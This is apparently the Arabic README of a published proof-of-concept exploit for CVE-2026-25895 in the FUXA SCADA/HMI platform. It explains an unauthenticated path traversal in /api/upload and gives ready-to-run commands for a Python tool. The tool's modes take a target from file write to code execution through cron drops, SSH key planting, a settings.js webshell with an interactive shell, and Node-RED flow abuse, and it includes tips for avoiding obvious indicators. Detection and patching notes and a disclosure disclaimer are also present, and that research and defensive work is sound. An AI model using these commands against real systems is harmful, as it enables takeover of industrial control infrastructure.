
استغلال POC لـ CVE-2026-25895 في FUXA: اجتياز المسار غير المصادق عليه -> كتابة ملفات عشوائية -> RCE
كتابة ملفات تعسفية غير مصادق عليها وقبل المصادقة ضد FUXA، وهي منصة SCADA/HMI مبنية على Node.js. تتسلسل إلى تنفيذ كود عن بُعد عبر عدة آليات لاحقة للكتابة. تعمل حتى عندما يكون secureEnabled = true (المصادقة مفعّلة) لأن نقطة النهاية المعرَّضة لا تحتوي على برمجية وسيطة (middleware) مرتبطة بها.
متاحة أيضًا على ExploitDB: https://www.exploit-db.com/exploits/52568
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-25895 |
| المتأثر | FUXA <= 1.2.9 |
| التصحيح | FUXA 1.2.10 |
| البائع | frangoteam / FUXA |
| ناقل الهجوم | Network (HTTP/HTTPS) |
| المصادقة | لا يلزم أي مصادقة |
| الأثر | كتابة ملفات تعسفية، تنفيذ كود عن بُعد |
| CVSS v3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الباحث | Anthony Cihan (Hann1bl3L3ct3r) |
نقطة النهاية POST /api/upload في FUXA (server/api/projects/index.js:193) مُسجَّلة بدون برمجية وسيطة (middleware)، متجاوزةً بذلك فحص secureFnc القائم على JWT / مفتاح API وبوابة صلاحيات المسؤول المطبَّقة على كل نقطة نهاية أخرى لإدارة المشاريع. داخل المعالج، يُدمج حقل destination من نص JSON في مسار نظام الملفات مع شرطة سفلية بادئة فقط، دون أي تطبيع أو فحص احتواء:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
قيمة destination بالصيغة a/../../../../../etc (حيث تمتص a بادئة الشرطة السفلية) تجعل دالة path.resolve في Node تصعد خارج appDir إلى أي موقع يمكن لعملية FUXA الكتابة إليه. وبما أن fs.writeFileSync يسبقه استدعاء شرطي للدالة fs.mkdirSync(dir, { recursive: true })، يمكن للمهاجم أيضًا إنشاء الدلائل الأصلية (parent directories) حسب الحاجة.
النتيجة هي آليّة كتابة ملفات تعسفية غير مصادَق عليها يمكن الوصول إليها عبر منفذ HTTP الافتراضي (1881)، قابلة للاستغلال قبل المصادقة بغض النظر عما إذا كان مسؤول FUXA قد فعّل تسجيل الدخول أم لا.
يمكن لمهاجم عن بُعد غير مصادَق أن:
settings.js لتحقيق تنفيذ كود عند إعادة تشغيل FUXA التالية/etc/cron.d/<file>) لتنفيذ كود خلال 60 ثانية عندما يعمل FUXA بصلاحيات root (الوضع الافتراضي في صورة Docker الخاصة بالبائع)/root/.ssh/authorized_keys أو في ~/.ssh/authorized_keys لأي مستخدمهذا اكتشاف ذو خطورة حرجة قبل المصادقة على منصة ICS/SCADA تُستخدم لتشغيل العمليات الصناعية.
| Version | Status |
|---|---|
<= 1.2.9 | متأثر |
1.2.10+ | مُصحَّح |
تم تأكيد قابلية الاستغلال ضد تثبيت نظيف لـ FUXA 1.2.9 على Ubuntu Server.
نص برمجي واحد بملف واحد بلغة Python 3، مع تبعية خارجية واحدة (requests).
pip install requests
python3 fuxapwn.py --help
تعرّف على مستخدم نظام التشغيل الحالي، ومدى تعرّض Node-RED، وأي حسابات أخرى على المضيف دون كتابة أي شيء غير اعتيادي:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
اكتب علامة محايدة /tmp/healthcheck (بدون مؤشرات اختراق IOCs خاصة بـ CVE في اسم الملف أو محتواه):
python3 fuxapwn.py -u http://target:1881 --mode canary
إذا كان FUXA يعمل بصلاحيات root، فأسقط ملف cron يتم تشغيله خلال 60 ثانية دون الحاجة إلى إعادة تشغيل FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsثبّت مستمع ويب شل HTTP داخل عملية Node الخاصة بـ FUXA (يتم التفعيل عند الإقلاع البارد التالي، لأن require() يخزّن الوحدات في cache)، ثم ادخل في REPL تفاعلي بمجرد إعادة تشغيل FUXA:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
المرجع الكامل لخيارات كل وضع: python3 fuxapwn.py --help.
نقطة النهاية GET /api/settings (server/api/index.js:103) مُسجَّلة بدون برمجية وسيطة، وتُعيد إعدادات وقت التشغيل الفعلية مع تنقيح بسيط (يحذف الخادم secretCode وsmtp.password قبل الإرسال). الحقول المتبقية تُسرّب مسارات مطلقة (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) التي تحدّد عادةً مستخدم الخدمة، بالإضافة إلى nodeRedEnabled، وهو مؤشر مباشر لمسار RCE ثانوي غير مصادَق (انظر أدناه).
عند تشغيل FUXA عبر npm start بحساب مستخدم محلي وكانت مسارات التثبيت لا تشفّر اسم المستخدم (مثلًا كان التثبيت تحت /opt أو /tmp أو /app عام)، ولم يكن /root/ قابلاً للكتابة، يلجأ الـ POC إلى التكرار عبر /home/<candidate>/ بكتابات بحجم صفر بايت.
معالج الرفع في FUXA يستدعي بشكل شرطي fs.mkdirSync(parent, { recursive: true }) قبل fs.writeFileSync، مما يخلق غموضًا في خطأ EACCES: فالمسار غير الموجود /home/<user>/ يفشل بـ EACCES عند محاولة mkdir (لا تستطيع العملية إنشاء أدلة تحت /home/ المملوك للجذر root)، بينما المسار الموجود /home/<other>/ بوضع 0700 يفشل بـ EACCES عند الكتابة نفسها. نفس رقم الخطأ errno لكن بمعنى مختلف. يميّز الـ POC بينهما بتحليل رمز استدعاء النظام syscall من err.message الموجَّه من الخادم (صيغة libuv: "<CODE>: <reason>, <syscall> '<path>'") ويُبلغ فقط عن EACCES عند الفتح (أو أي استدعاء نظام ليس ) بوصفه «مستخدم آخر موجود». هذا يزيل قائمة الحركة الجانبية الإيجابية الكاذبة التي كان سينتجها فحص يعتمد على errno فقط على نحو ساذج.
إذا كانت قيمة nodeRedEnabled = true في الإعدادات المسرَّبة، يمكن الوصول إلى نقاط نهاية إدارة Node-RED المدمجة في FUXA (/nodered/flows/deploy، إلخ) بدون مصادقة بسبب فحص قائمة بيضاء في رأس Referer (node-red/index.js:134-136) يقبل أي طلب يحتوي Referer على /editor أو /viewer أو /lab. يمنح هذا تنفيذ كود عن بُعد فوريًا غير مصادَق عبر عقدة Function Node دون الحاجة إلى إعادة تشغيل. وضع recon يعلّم عن هذه الحالة؛ ويُفضَّل أن يعتمد عليه المشغّلون عند توفره.
settings.js تحافظ على إعدادات الهدفعند توليد استبدال settings.js (الوضعان settings-rce وwebshell)، يجلب الـ POC أولًا الإعدادات الفعلية عبر /api/settings ويحوّلها إلى JSON بوصفها نص module.exports (JSON هو مجموعة فرعية صالحة من object literal في JavaScript). يحافظ هذا على uiPort وallowedOrigins وsecureEnabled وغيرها من إعدادات وقت التشغيل لدى الهدف، بحيث يستمر التطبيق في الخدمة بشكل طبيعي بعد الاستبدال. يُحذّر الـ POC صراحةً عندما يكون لدى الهدف secureEnabled = true أو كتلة smtp، لأن التنقيح من جهة الخادم يزيل secretCode (سيتم اللجوء إلى احتياطي JWT) وsmtp.password (سيتعطل البريد الإلكتروني حتى يُستعاد يدويًا).
POST /api/upload من مصادر غير مصادَق عليها، خاصةً بقيم destination تحتوي على .. أو مسارات نظام ملفات مطلقة في الاستجابةGET /api/settings من مصادر غير مصادَق عليها (يُستخدم عادةً فقط من واجهة المستخدم المصادَق عليها)/tmp/healthcheck* أو /tmp/.fuxa-probe-* أو /home/*/.fuxa-probe-* (أسماء ملفات العلامات الافتراضية لفحص canary والاستطلاع — يتيح الـ POC تجاوزها لتجنّب مؤشرات IOC واضحة، لذا فإن عدم وجودها لا يستبعد الاستغلال)settings.js أو /etc/cron.d/* أو ~/.ssh/authorized_keys لا تقابل إجراءً من مسؤول/api/upload محمية بسلسلة البرمجيات الوسيطة القياسية في الإصدار المصحح./api/upload و/api/settings./root/، ولا كتابة إلى /etc/cron.d/، ولا استمرارية على مستوى المضيف عبر cron).nodeRedEnabled = false) إذا لم يكن قيد الاستخدام الفعلي.1.2.10server/api/projects/index.js:193 في FUXA 1.2.9البحث وإثبات المفهوم PoC والتقرير من إعداد Anthony Cihan (Hann1bl3L3ct3r)، قائد الأمن الهجومي.
يحتوي هذا المستودع على كود استغلال عامل لثغرة حرجة في منتج من فئة ICS/SCADA. يُنشر وفق مبادئ الإفصاح المسؤول (responsible disclosure)، بعد قيام البائع بالتصحيح، لصالح المدافعين (مؤلّفو أنظمة الكشف، والمستجيبون للحوادث) والمختبِرين الأمنيين المصرّح لهم.
استخدمه فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرّح به لهذا الكود ضد أنظمة طرف ثالث غير قانوني في معظم الدول، وسيتعامل معه المؤلف على هذا الأساس. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
إذا كنت مشغّلًا لـ FUXA وتريد مساعدة في التحقق من مستوى التصحيح لديك مقابل هذا الـ PoC في ظروف خاضعة للتحكم، فتواصل مع المؤلف.
نُشر لأغراض الاختبار الأمني المصرّح به والبحث الدفاعي. راجع LICENSE للشروط الكاملة.
| الوضع | الغرض |
|---|
recon | تسريب معلومات غير مصادَق عبر GET /api/settings؛ يستنتج مستخدم نظام التشغيل الحالي من المسارات المطلقة؛ يبلّغ عن حالة Node-RED؛ مع فحوصات نشطة اختيارية --probe-root و--probe-home |
canary | إثبات آليّة كتابة الملفات بمسار افتراضي محايد |
settings-rce | يستبدل settings.js بحمولة تشغّل أمرًا قابلًا للضبط عند الإقلاع البارد التالي لـ FUXA |
ssh-key | يكتب مفتاحًا عامًا إلى ملف authorized_keys لمستخدم مستهدف |
drop | إسقاط ملف تعسفي إلى أي مسار مطلق |
cron | يُسقط /etc/cron.d/<name> لتنفيذ كود خلال 60 ثانية دون انتظار إعادة تشغيل FUXA (يتطلب عمل FUXA بصلاحيات root) |
webshell | يثبّت مستمع ويب شل HTTP داخل عملية Node الخاصة بـ FUXA عبر استبدال settings.js (يُفعَّل عند الإقلاع البارد التالي) |
webshell-exec | عميل لويب شل مثبَّت مسبقًا؛ أمر واحد أو REPL تفاعلي عبر --interact |
mkdir